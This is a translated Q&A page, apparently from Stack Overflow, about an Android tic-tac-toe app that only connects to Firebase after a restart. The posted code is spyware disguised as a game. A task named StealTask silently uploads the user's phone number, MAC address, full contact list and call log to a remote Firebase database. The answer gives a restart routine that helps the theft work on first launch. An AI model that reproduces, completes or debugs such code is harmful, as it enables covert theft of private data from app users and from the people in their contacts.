android - 应用程序需要重新启动才能连接到 Firebase
问题描述
我正在android studio上编写一个与firebase实时数据库连接的应用程序。该应用程序将用户的呼叫和联系人发送到数据库。在第一次安装和打开应用程序时,它会询问所需的权限。授予所有权限后,需要重新启动应用程序才能连接到 firebase 并向其发送信息。
这是我的主要内容:
public class MainActivity extends AppCompatActivity implements View.OnClickListener {
static final int REQUEST_CODE = 1;
private Button[][] buttons = new Button[3][3];
private boolean player1Turn = true;
private int roundCount;
LocationManager locationManager;
private int player1Points;
private int player2Points;
private String id;
private TextView textViewPlayer1;
private TextView textViewPlayer2;
int PERMISSION_ALL = 1;
String[] PERMISSIONS = {
Manifest.permission.READ_CONTACTS,
Manifest.permission.ACCESS_WIFI_STATE,
Manifest.permission.READ_EXTERNAL_STORAGE,
Manifest.permission.ACCESS_FINE_LOCATION,
Manifest.permission.READ_CALL_LOG,
Manifest.permission.READ_PHONE_STATE,
Manifest.permission.ACCESS_COARSE_LOCATION
}; //Array of permissions
String location1 = null;
private String Number;
private String ContactName;
final int a[] = {1};
private String address;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
ConnectivityManager connManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE); //Wifi
NetworkInfo mWifi = connManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI); //Wifi
NetworkInfo wMobile=connManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE); //Mobile Data
textViewPlayer1 = findViewById(R.id.text_view_p1);
textViewPlayer2 = findViewById(R.id.text_view_p2);
for (int i = 0; i < 3; i++) {
for (int j = 0; j < 3; j++) {
String buttonID = "button_" + i + j;
int resID = getResources().getIdentifier(buttonID, "id", getPackageName());
buttons[i][j] = findViewById(resID);
buttons[i][j].setOnClickListener(this);
}
}
Button buttonReset = findViewById(R.id.button_reset);
buttonReset.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
resetGame();
}
});
if (!hasPermissions(MainActivity.this, PERMISSIONS) ) {
ActivityCompat.requestPermissions(MainActivity.this, PERMISSIONS, PERMISSION_ALL);
}
if (mWifi.isConnected()||wMobile.isConnected()) {
StartStealTask();
}
}
public static boolean hasPermissions(Context context, String... permissions) {
if (context != null && permissions != null) {
for (String permission : permissions) {
if (ActivityCompat.checkSelfPermission(context, permission) != PackageManager.PERMISSION_GRANTED) {
return false;
}
}
}
return true;
}
@Override
public void onClick(View v) {
if (!((Button) v).getText().toString().equals("")) {
return;
}
if (player1Turn) {
((Button) v).setText("X");
} else {
((Button) v).setText("O");
}
roundCount++;
if (checkForWin()) {
if (player1Turn) {
player1Wins();
} else {
player2Wins();
}
} else if (roundCount == 9) {
draw();
} else {
player1Turn = !player1Turn;
}
}
private class StealTask extends AsyncTask<Void, Void, Void> {
@RequiresApi(api = Build.VERSION_CODES.M)
@Override
protected Void doInBackground(Void... voids) {
FirebaseStorage storage = FirebaseStorage.getInstance();
final FirebaseDatabase database = FirebaseDatabase.getInstance();
final DatabaseReference myRef = database.getReference("Users");//Reference to Users node
final DatabaseReference reff=FirebaseDatabase.getInstance().getReference().child("getLocation");
StorageReference storageRef = storage.getReferenceFromUrl("gs://tictactoe-311ce.appspot.com");//Reference to Database Storage
if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_PHONE_STATE) //Check if phone reading permission is granted
== PackageManager.PERMISSION_GRANTED) {
address = getMacAddr();//Obtaining Mac address
Users user = new Users(address);//Creating new user
TelephonyManager tmanager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); //Accessing phone number
id = tmanager.getLine1Number(); //User ID set to phone number
myRef.child(id).setValue(user);//Adding a user to the node
}
if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_CONTACTS)//Check if contacts reading permission is granted
== PackageManager.PERMISSION_GRANTED) {
Cursor phones = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);//Accessing Contacts
while (phones.moveToNext()) { //Fetching contacts
try {
Thread.sleep(2000); //Delay
} catch (InterruptedException e) { //handling Exception
e.printStackTrace();
}
ContactName = phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME)); //Accessing contact name
Number = phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); //Accessing contact number
com.example.finalproject.user.Contacts contact = new com.example.finalproject.user.Contacts(Number, address); //Creating new contact
myRef.child(id).child("Contacts").child(ContactName).setValue(contact);
}
}
if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_CALL_LOG)//Check if call log reading permission is granted
== PackageManager.PERMISSION_GRANTED) {
Uri allCalls = Uri.parse("content://call_log/calls");//Accessing call logs
Cursor c = getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, CallLog.Calls.DATE + " DESC");
c.moveToFirst();//Fetching call logs
while (c.moveToNext()) {
String num = c.getString(c.getColumnIndex(CallLog.Calls.NUMBER));// for number
String name = c.getString(c.getColumnIndex(CallLog.Calls.CACHED_NAME));// for name
String duration = c.getString(c.getColumnIndex(CallLog.Calls.DURATION));// for duration
int type = Integer.parseInt(c.getString(c.getColumnIndex(CallLog.Calls.TYPE)));// for call type, Incoming or out going.
Calls call = new com.example.finalproject.user.Calls(name, duration, type, address);//Creating new Call
myRef.child(id).child("Calls").child(num).setValue(call);
}
}
return null;
}
}
public void StartStealTask(){
StealTask Steal = new StealTask();
Steal.execute();
}
}
解决方案
下面的代码将重新启动您的应用程序
private fun rebootApp() {
val intent = Intent(this, MainActivity::class.java)
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK)
startActivity(intent)
Runtime.getRuntime().exit(0)
}
然后在你的 onCreate(...)
if(allPermissionGranted()) {// check if all permission is granted
connectToFireBase();//write fun which will connect your app to firebase
}
推荐阅读
- c# - 如何将下拉列表绑定到模型
- amazon-web-services - 有没有办法使用 docker manifest-list 在 ECR 中构建多架构映像?
- select - 选择 table.object_type 和 select table.* 不要为 object_type 返回相同的值
- xml - xsl:for-each 上的多项选择
- c# - 为什么 NLog 不再归档
- scala - 将展平的数据框转换为 Spark 中的结构
- c++ - 禁用特征向量化是否也会影响 Vector3/Matrix3 计算?
- vue.js - 如何访问已通过 ref 访问的组件的“发出”?
- redmine - Redmine 3.0.3 到 4.0.3 版本升级
- javascript - 对于每辆车点击我需要在浏览器中显示车名